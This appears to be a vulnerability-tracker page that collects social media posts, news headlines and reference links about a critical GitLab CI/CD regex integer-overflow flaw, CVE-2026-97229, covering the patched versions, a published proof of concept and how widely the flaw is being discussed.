social bsky.app @vritrasecnews.bsky.social 2026-10-16 15:38 UTCOverview On October 12, 2026, GitLab released 19.4.2 , 19.3.5 , and 19.2.8 to fix CVE-2026-97229 , an integer overflow in its CI/CD regular-expression handling. The issue was reporte... 🔗 https://www.rapid7.com/blog/post/ra-gitlab-ci-cd-re…Open source
-
social bsky.app @cryptocat.me 2026-10-16 14:44 UTCNew @rapid7.com technical analysis to accompany the GitLab integer overflow (CVE-2026-97229) PoC we dropped a few days ago 👀 Looking forward to seeing @joaxcar.bsky.social's official writeup eventually! 🙌 www.rapid7.com/blog/post/ra...Open source
-
social bsky.app @thecybersecguru.com 2026-10-16 14:27 UTCGitLab CVE-2026-97229: The CVSS 10.0 RCE Vulnerability Exposing 26,000+ CI/CD Pipelines to Attack GitLab CVE-2026-97229 is a critical CVSS 10.0 RCE flaw in CI/CD regex compilation. Learn affected versions, exploit details, patches… https:/…Open source
-
advisory rapid7.com 2026-10-16 14:07 UTCRapid7 Analysis: GitLab CI/CD Regex Integer Overflow (CVE-2026-97229) - Rapid7Open source
-
social bsky.app @r1cksec.bsky.social 2026-10-16 12:26 UTCGitLab CI lint integer-overflow RCE PoC for CVE-2026-97229, validated against the official 19.4.1 CE amd64 image github.com/jburgess-r7/... #infosec #cybersecurity #redteam #pentestOpen source
-
social bsky.app @pmloik.bsky.social 2026-10-16 06:18 UTCTop 3 CVE for last 7 days: CVE-2026-92392: 65 interactions CVE-2026-104935: 46 interactions CVE-2026-97229: 38 interactions Top 3 CVE for yesterday: CVE-2026-0322: 21 interactions CVE-2026-99999: 15 interactions CVE-2026-102764: 14 interac…Open source
-
social bsky.app @thedailytechfeed.com 2026-10-16 04:17 UTCCritical GitLab RCE (CVE-2026-97229): public PoC live, versions before 19.2.8/19.3.5/19.4.2 vulnerable. #GitLab #RCE #Security #CVE2026 #CI_CD #Vulnerability #PatchNow https://thedailytechfeed.com/critical-gitlab-rce-cve-2026-97229-poc-rel…Open source
-
news cybersecuritynews.com 2026-10-16 04:01 UTCPoC Exploit Released for Critical GitLab RCE Vulnerability (CVE-2026-97229) - CyberSecurityNewsOpen source
-
news securityboulevard.com 2026-10-16 02:54 UTCGitLab Remote Code Execution Vulnerability (CVE-2026-97229) Notice - Security BoulevardOpen source
-
social bsky.app @securitylab-jp.bsky.social 2026-10-15 23:02 UTCGitLabのCVSS 10.0脆弱性「CVE-2026-97229」、PoC公開―Censysは影響バージョンの2万5,766ホストを検出 rocket-boys.co.jp/security-mea... #セキュリティ対策Lab #security #securitynews #セキュリティ #セキュリティニュースOpen source
-
social bsky.app @it-connect.bsky.social 2026-10-15 11:02 UTC🛑 GitLab corrige une faille critique qui permet d’exécuter du code sans authentification (CVE-2026-97229) Plus d'infos sur cette faille et les patchs par ici : - www.it-connect.fr/gitlab-cve-2... #infosec #gitlabOpen source
-
social bsky.app @getnuvpn.bsky.social 2026-10-15 10:52 UTCGitLab CVSS 10 vulnerability: what “unauthenticated” means depends on who can create projects on your server GitLab has fixed CVE-2026-97229, a vulnerability in the CI/CD regular expression compiler. What the advisory says, what Rapid7 rep…Open source
-
social bsky.app @billingsley.bsky.social 2026-10-15 08:11 UTCCOGNOSCERE Tech Brief — 2026-10-15 GitLab patched CVE-2026-97229, a CVSS 10.0 integer overflow in its CI/CD regex c https://youtube.com/watch?v=4NkBmtZ8rEI https://www.cognoscerellc.com/newsOpen source
-
social bsky.app @pmloik.bsky.social 2026-10-15 06:21 UTCTop 3 CVE for last 7 days: CVE-2026-92392: 62 interactions CVE-2026-97229: 36 interactions CVE-2026-104935: 35 interactions Top 3 CVE for yesterday: CVE-2026-92392: 55 interactions CVE-2026-96951: 20 interactions CVE-2026-104935: 9 interac…Open source
-
social bsky.app @effidev.bsky.social 2026-10-15 03:12 UTC직접 깃랩 서버를 돌리고 있다면 오늘 버전부터 확인해. 로그인 없이 서버에서 코드를 실행당할 수 있는 취약점(CVE-2026-97229)이 나왔고, 위험도 점수(CVSS)가 만점인 10.0이야. 깃랩이 10월 12일 긴급 패치 공지로 밝힌 내용이야. 🔗 원글 보기Open source
-
social bsky.app @cyberhub.blog 2026-10-15 02:37 UTC📌 CVE-2026-97229 - GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.2 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2 that, under ... https://www.cyberhub.blog/cves/CVE-2026-97229Open source
-
social bsky.app @hapsis.bsky.social 2026-10-15 00:12 UTCSecurity Patch Now! GitLab publishes fixes for Perfect 10 vulnerability CVE-2026-97229 Exploitation has not occurred yet,… www.cyberdaily.au/security/143... #Cybersecurity #ThreatIntel #VulnerabilityOpen source
-
social bsky.app @infrajump.bsky.social 2026-10-14 23:02 UTCGitLab fixed CVE-2026-97229 (CVSS 10), an RCE in its CI/CD regex compiler. Rapid7 reproduced it on 19.4.1 and released a PoC. Patch self-managed GitLab to 19.4.2, 19.3.5 or 19.2.8. GitLab.com is patched. #GitLab #DevSecOpsOpen source
-
news cyberdaily.au 2026-10-14 20:02 UTCPatch now! GitLab publishes fixes for perfect-10 vulnerability CVE-2026-97229 - Cyber DailyOpen source
-
social bsky.app @alt.pds.lefht.cc 2026-10-14 18:15 UTC3. CVE-2026-97229 · 10 people 🟥 Critical 10.0 · GitLab Integer Overflow or Wraparound in GitLabOpen source
-
social bsky.app @alt.pds.lefht.cc 2026-10-14 18:15 UTC🛡️ Most-discussed CVEs on Bluesky, last 24h 1. CVE-2026-104935 · 30 people 🔥 2. CVE-2026-96951 · 29 people 🔥 3. CVE-2026-97229 · 10 people 4. CVE-2026-105445 · 9 people 5. CVE-2026-74580 · 9 people 🔥 = on CISA's Known Exploited list · deta…Open source
-
social bsky.app @alobbs.com 2026-10-14 18:08 UTCTech News Briefing — #AI #CyberSecurity #TechNews #AIAgents #OpenSource #StartupFunding → https://alobbs.com/post/2026-10-14/Open source
-
social bsky.app @neroqc.bsky.social 2026-10-14 14:35 UTCGitLab corrige une faille critique qui permet d’exécuter du code sans authentification (CVE-2026-97229) www.it-connect.fr/gitlab-cv...Open source
-
social bsky.app @cvemon.bsky.social 2026-10-14 13:49 UTCCVE-2026-97229 is trending. Hype score 2, currently #9 on cvemon. GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.2 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2 that, under certain conditions, cou…Open source
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-97229 |
| gitlab.com |
GitHub CVE
|
https://gitlab.com/gitlab-org/gitlab/-/work_items/630686 |
| hackerone.com |
GitHub CVE
technical-description
exploit
permissions-required
|
https://hackerone.com/reports/4055749 |
| hackerone.com |
GitHub CVE
technical-description
exploit
permissions-required
|
https://hackerone.com/reports/4058589 |
| docs.gitlab.com |
GitHub CVE
|
https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-4-2-released/ |